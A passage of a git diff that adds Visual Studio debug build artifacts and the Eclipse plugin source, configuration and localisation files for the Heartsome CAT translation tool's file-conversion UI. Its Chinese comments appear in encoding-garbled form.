b/tools/win_x86_Series/win_x86_Series/x64/Debug/CL.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/CL.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/CL.write.1.tlog new file mode 100644 index 0000000..2c3e3c7 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/CL.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/cl.command.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/cl.command.1.tlog new file mode 100644 index 0000000..576994d Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/cl.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link-cvtres.read.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link-cvtres.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132-cvtres.read.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132-cvtres.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132.read.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.3132.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link.command.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.command.1.tlog new file mode 100644 index 0000000..4aee693 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link.read.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.read.1.tlog new file mode 100644 index 0000000..958d052 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/link.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.write.1.tlog new file mode 100644 index 0000000..9305911 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/link.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.command.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.command.1.tlog new file mode 100644 index 0000000..4a1ec19 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.read.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.read.1.tlog new file mode 100644 index 0000000..fab6080 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.write.1.tlog new file mode 100644 index 0000000..38ddcc3 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/mt.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.command.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.command.1.tlog new file mode 100644 index 0000000..da9602e Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.read.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.read.1.tlog new file mode 100644 index 0000000..63394ee Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.write.1.tlog new file mode 100644 index 0000000..8fb0268 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/rc.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/vc100.idb b/tools/win_x86_Series/win_x86_Series/x64/Debug/vc100.idb new file mode 100644 index 0000000..a4ce011 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/vc100.idb differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/vc100.pdb b/tools/win_x86_Series/win_x86_Series/x64/Debug/vc100.pdb new file mode 100644 index 0000000..1c9aeff Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/vc100.pdb differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.embed.manifest b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.embed.manifest new file mode 100644 index 0000000..8f4d0bf --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.embed.manifest @@ -0,0 +1,2 @@ + +true \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.embed.manifest.res b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.embed.manifest.res new file mode 100644 index 0000000..00c6af7 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.embed.manifest.res differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.intermediate.manifest b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.intermediate.manifest new file mode 100644 index 0000000..1c06b61 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.lastbuildstate b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.lastbuildstate new file mode 100644 index 0000000..799db45 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Debug|x64|C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\| diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.pch b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.pch new file mode 100644 index 0000000..e78093c Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.pch differ diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.write.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.write.1.tlog new file mode 100644 index 0000000..f5ea4bf --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series.write.1.tlog @@ -0,0 +1,10 @@ +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.exp +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\x64\Debug\win_x86_Series.exp diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series_manifest.rc b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series_manifest.rc new file mode 100644 index 0000000..ea464bb Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/x64/Debug/win_x86_Series_manifest.rc differ diff --git a/tools/win_x86_Series/x64/Debug/win_x86_Series.dll b/tools/win_x86_Series/x64/Debug/win_x86_Series.dll new file mode 100644 index 0000000..deb91ce Binary files /dev/null and b/tools/win_x86_Series/x64/Debug/win_x86_Series.dll differ diff --git a/tools/win_x86_Series/x64/Debug/win_x86_Series.exp b/tools/win_x86_Series/x64/Debug/win_x86_Series.exp new file mode 100644 index 0000000..8ffe62a Binary files /dev/null and b/tools/win_x86_Series/x64/Debug/win_x86_Series.exp differ diff --git a/tools/win_x86_Series/x64/Debug/win_x86_Series.ilk b/tools/win_x86_Series/x64/Debug/win_x86_Series.ilk new file mode 100644 index 0000000..0d451ab Binary files /dev/null and b/tools/win_x86_Series/x64/Debug/win_x86_Series.ilk differ diff --git a/tools/win_x86_Series/x64/Debug/win_x86_Series.lib b/tools/win_x86_Series/x64/Debug/win_x86_Series.lib new file mode 100644 index 0000000..afebed7 Binary files /dev/null and b/tools/win_x86_Series/x64/Debug/win_x86_Series.lib differ diff --git a/tools/win_x86_Series/x64/Debug/win_x86_Series.pdb b/tools/win_x86_Series/x64/Debug/win_x86_Series.pdb new file mode 100644 index 0000000..72a53cc Binary files /dev/null and b/tools/win_x86_Series/x64/Debug/win_x86_Series.pdb differ diff --git a/ts/net.heartsome.cat.converter.ui/.checkstyle b/ts/net.heartsome.cat.converter.ui/.checkstyle new file mode 100644 index 0000000..5a8a8cd --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/.checkstyle @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.converter.ui/.classpath b/ts/net.heartsome.cat.converter.ui/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.converter.ui/.options b/ts/net.heartsome.cat.converter.ui/.options new file mode 100644 index 0000000..8413407 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/.options @@ -0,0 +1,7 @@ +# Debugging options for the net.heartsome.cat.converter.ui + +# Turn on debugging for the net.heartsome.cat.converter.ui +net.heartsome.cat.converter.ui/debug=false + +# Print debug information for the conversion configuration info +net.heartsome.cat.converter.ui/debug/conversion=false diff --git a/ts/net.heartsome.cat.converter.ui/.project b/ts/net.heartsome.cat.converter.ui/.project new file mode 100644 index 0000000..e977740 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.ui + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.converter.ui/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.converter.ui/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0ce4488 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Tue Jun 15 10:14:37 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.converter.ui/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.converter.ui/META-INF/MANIFEST.MF new file mode 100644 index 0000000..27e5b56 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/META-INF/MANIFEST.MF @@ -0,0 +1,43 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter UI +Bundle-SymbolicName: net.heartsome.cat.converter.ui;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130410 +Bundle-Activator: net.heartsome.cat.convert.ui.Activator +Require-Bundle: org.eclipse.ui;resolution:=optional, + org.eclipse.core.runtime, + net.heartsome.cat.converter;bundle-version="1.0.0", + org.eclipse.core.databinding;bundle-version="1.2.0", + org.eclipse.jface.databinding;bundle-version="1.3.0";resolution:=optional, + org.eclipse.core.databinding.beans;bundle-version="1.2.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + org.eclipse.core.databinding.property;bundle-version="1.2.0", + org.eclipse.nebula.widgets.tablecombo;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.ts.help;bundle-version="1.0.0", + net.heartsome.cat.common.ui +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.core, + net.heartsome.cat.common.resources, + net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.handlers, + net.heartsome.cat.common.ui.wizard, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.ui, + net.heartsome.cat.ts.ui.composite, + net.heartsome.cat.ts.ui.extensionpoint, + net.heartsome.cat.ts.ui.preferencepage.translation, + org.eclipse.core.expressions, + org.eclipse.core.filesystem, + org.eclipse.core.internal.filesystem.local, + org.eclipse.core.resources, + org.eclipse.ui.ide, + org.slf4j +Export-Package: net.heartsome.cat.convert.extenstion, + net.heartsome.cat.convert.ui.command, + net.heartsome.cat.convert.ui.model, + net.heartsome.cat.convert.ui.utils +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.converter.ui/build.properties b/ts/net.heartsome.cat.converter.ui/build.properties new file mode 100644 index 0000000..9d59bf9 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + icons/,\ + images/,\ + plugin_en.properties,\ + plugin_zh.properties,\ + plugin.properties diff --git a/ts/net.heartsome.cat.converter.ui/icons/convert file.png b/ts/net.heartsome.cat.converter.ui/icons/convert file.png new file mode 100644 index 0000000..3aea10f Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/icons/convert file.png differ diff --git a/ts/net.heartsome.cat.converter.ui/icons/convert-to xliff.png b/ts/net.heartsome.cat.converter.ui/icons/convert-to xliff.png new file mode 100644 index 0000000..0153572 Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/icons/convert-to xliff.png differ diff --git a/ts/net.heartsome.cat.converter.ui/icons/convert-xliff to.png b/ts/net.heartsome.cat.converter.ui/icons/convert-xliff to.png new file mode 100644 index 0000000..734a72e Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/icons/convert-xliff to.png differ diff --git a/ts/net.heartsome.cat.converter.ui/images/dialog/source-toxliff-logo.png b/ts/net.heartsome.cat.converter.ui/images/dialog/source-toxliff-logo.png new file mode 100644 index 0000000..1c0422b Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/images/dialog/source-toxliff-logo.png differ diff --git a/ts/net.heartsome.cat.converter.ui/images/dialog/xliff-totarget-logo.png b/ts/net.heartsome.cat.converter.ui/images/dialog/xliff-totarget-logo.png new file mode 100644 index 0000000..6354522 Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/images/dialog/xliff-totarget-logo.png differ diff --git a/ts/net.heartsome.cat.converter.ui/images/tool/view-translation.png b/ts/net.heartsome.cat.converter.ui/images/tool/view-translation.png new file mode 100644 index 0000000..20fb8c0 Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/images/tool/view-translation.png differ diff --git a/ts/net.heartsome.cat.converter.ui/images/view-translation_16.png b/ts/net.heartsome.cat.converter.ui/images/view-translation_16.png new file mode 100644 index 0000000..3751b91 Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/images/view-translation_16.png differ diff --git a/ts/net.heartsome.cat.converter.ui/lib/antlr-2.7.4.jar b/ts/net.heartsome.cat.converter.ui/lib/antlr-2.7.4.jar new file mode 100644 index 0000000..45e45b5 Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/lib/antlr-2.7.4.jar differ diff --git a/ts/net.heartsome.cat.converter.ui/lib/chardet-1.0.jar b/ts/net.heartsome.cat.converter.ui/lib/chardet-1.0.jar new file mode 100644 index 0000000..2e84a8d Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/lib/chardet-1.0.jar differ diff --git a/ts/net.heartsome.cat.converter.ui/lib/cpdetector_1.0.10.jar b/ts/net.heartsome.cat.converter.ui/lib/cpdetector_1.0.10.jar new file mode 100644 index 0000000..47329f2 Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/lib/cpdetector_1.0.10.jar differ diff --git a/ts/net.heartsome.cat.converter.ui/lib/jargs-1.0.jar b/ts/net.heartsome.cat.converter.ui/lib/jargs-1.0.jar new file mode 100644 index 0000000..92d9b9b Binary files /dev/null and b/ts/net.heartsome.cat.converter.ui/lib/jargs-1.0.jar differ diff --git a/ts/net.heartsome.cat.converter.ui/plugin.properties b/ts/net.heartsome.cat.converter.ui/plugin.properties new file mode 100644 index 0000000..cba31cb --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/plugin.properties @@ -0,0 +1,10 @@ +menu.file.xliffConverter = \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6... +menu.file.xliffReverseConverter = \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6... +category.xliffConverter = \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6 +category.xliffReverseConverter = \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6 + +toolbar.previewTranslation = \u9884\u89c8\u7ffb\u8bd1 +command.previewTranslation = \u9884\u89c8\u7ffb\u8bd1 + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preferencePages.FileTypePreferencePage = \u6587\u4ef6\u7c7b\u578b diff --git a/ts/net.heartsome.cat.converter.ui/plugin.xml b/ts/net.heartsome.cat.converter.ui/plugin.xml new file mode 100644 index 0000000..2b510d2 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/plugin.xml @@ -0,0 +1,171 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.converter.ui/plugin_en.properties b/ts/net.heartsome.cat.converter.ui/plugin_en.properties new file mode 100644 index 0000000..8a489d5 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/plugin_en.properties @@ -0,0 +1,10 @@ +menu.file.xliffConverter = Convert to XLIFF Files... +menu.file.xliffReverseConverter = Convert to Target Files... +category.xliffConverter = Convert to XLIFF Files +category.xliffReverseConverter = Convert to Target Files + +toolbar.previewTranslation = Preview +command.previewTranslation = Preview + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preferencePages.FileTypePreferencePage = File Types diff --git a/ts/net.heartsome.cat.converter.ui/plugin_zh.properties b/ts/net.heartsome.cat.converter.ui/plugin_zh.properties new file mode 100644 index 0000000..cba31cb --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/plugin_zh.properties @@ -0,0 +1,10 @@ +menu.file.xliffConverter = \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6... +menu.file.xliffReverseConverter = \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6... +category.xliffConverter = \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6 +category.xliffReverseConverter = \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6 + +toolbar.previewTranslation = \u9884\u89c8\u7ffb\u8bd1 +command.previewTranslation = \u9884\u89c8\u7ffb\u8bd1 + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preferencePages.FileTypePreferencePage = \u6587\u4ef6\u7c7b\u578b diff --git a/ts/net.heartsome.cat.converter.ui/schema/net.heartsome.converter.extension.pretranslation.exsd b/ts/net.heartsome.cat.converter.ui/schema/net.heartsome.converter.extension.pretranslation.exsd new file mode 100644 index 0000000..e6aa52b --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/schema/net.heartsome.converter.extension.pretranslation.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/extenstion/IExecutePretranslation.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/extenstion/IExecutePretranslation.java new file mode 100644 index 0000000..be86a19 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/extenstion/IExecutePretranslation.java @@ -0,0 +1,28 @@ +/** + * IExecutePretranslation.java + * + * Version information : + * + * Date:2012-6-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.convert.extenstion; + +import java.util.List; + +import org.eclipse.core.resources.IFile; + +/** + * 转æ¢å™¨ä¸­è°ƒç”¨é¢„翻译扩展 + * @author jason + * @version + * @since JDK1.6 + */ +public interface IExecutePretranslation { + + void executePreTranslation(List files); +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/Activator.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/Activator.java new file mode 100644 index 0000000..fb666e6 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/Activator.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + /** + * 在执行文件转æ¢æ—¶ï¼Œæ˜¯å¦æ‰“å°è½¬æ¢é…置信æ¯çš„控制开关 + */ + public static final String CONVERSION_DEBUG_ON = "net.heartsome.cat.converter.ui/debug/conversion"; + + /** + * The plug-in ID + */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.ui"; + + // The shared instance + private static Activator plugin; + + // bundle context + private static BundleContext context; + + /** + * The constructor + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + Activator.context = context; + plugin = this; + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + Activator.context = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given plug-in relative path + * @param path + * the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + /** + * 获得æ’件的 bundle context + * @return æ’件的 bundle context; + */ + public static BundleContext getContext() { + return context; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/ImplementationLoader.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/ImplementationLoader.java new file mode 100644 index 0000000..a8e9a5c --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/ImplementationLoader.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.convert.ui; + +import java.text.MessageFormat; + +import net.heartsome.cat.convert.ui.resource.Messages; + +/** + * 加载具体的 factory facade 实现 + * @author cheney + * @since JDK1.6 + */ +public final class ImplementationLoader { + + /** + * + */ + private ImplementationLoader() { + // 防止创建实例 + } + + /** + * 加载特定实现类的实例 + * @param type + * 特定实现类的接å£ç±»åž‹ + * @return ; + */ + @SuppressWarnings("unchecked") + public static Object newInstance(final Class type) { + String name = type.getName(); + Object result = null; + try { + result = type.getClassLoader().loadClass(name + "Impl").newInstance(); + } catch (Throwable throwable) { + String txt = Messages.getString("ui.ImplementationLoader.msg"); + String msg = MessageFormat.format(txt, new Object[] { name }); + throw new RuntimeException(msg, throwable); + } + return result; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/action/ConversionCompleteAction.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/action/ConversionCompleteAction.java new file mode 100644 index 0000000..a72d357 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/action/ConversionCompleteAction.java @@ -0,0 +1,101 @@ +package net.heartsome.cat.convert.ui.action; + +import java.io.File; +import java.util.Map; + +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorDescriptor; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.ide.IDE; + +/** + * 演示文件转æ¢åŽå°çº¿ç¨‹çš„转æ¢ç»“æžœ action + * @author cheney,weachy + * @since JDK1.5 + */ +public class ConversionCompleteAction extends Action { + + private IStatus status; + + private Map conversionResult; + + /** + * 转æ¢å®Œæˆ action 的构造函数 + * @param name + * action 的显示文本 + * @param status + * 转æ¢çš„ç»“æžœçŠ¶æ€ + * @param conversionResult + */ + public ConversionCompleteAction(String name, IStatus status, Map conversionResult) { + setText(name); + setToolTipText(name); + this.status = status; + this.conversionResult = conversionResult; + } + + @Override + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + Assert.isNotNull(window); + Shell shell = window.getShell(); + if (status.getSeverity() == IStatus.ERROR) { + MessageDialog.openError(shell, Messages.getString("action.ConversionCompleteAction.msgTitle1"), + status.getMessage()); + } else { + // 转æ¢å®ŒæˆåŽç›´æŽ¥æ‰“开编辑器,ä¸å†è¿›è¡Œå¼¹æ¡†æ示。 + // MessageDialog.openInformation(shell, "文件转æ¢å®Œæˆ", status.getMessage()); + final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + String xliffFile = conversionResult.get(Converter.ATTR_XLIFF_FILE); + IWorkbenchPage page = window.getActivePage(); + 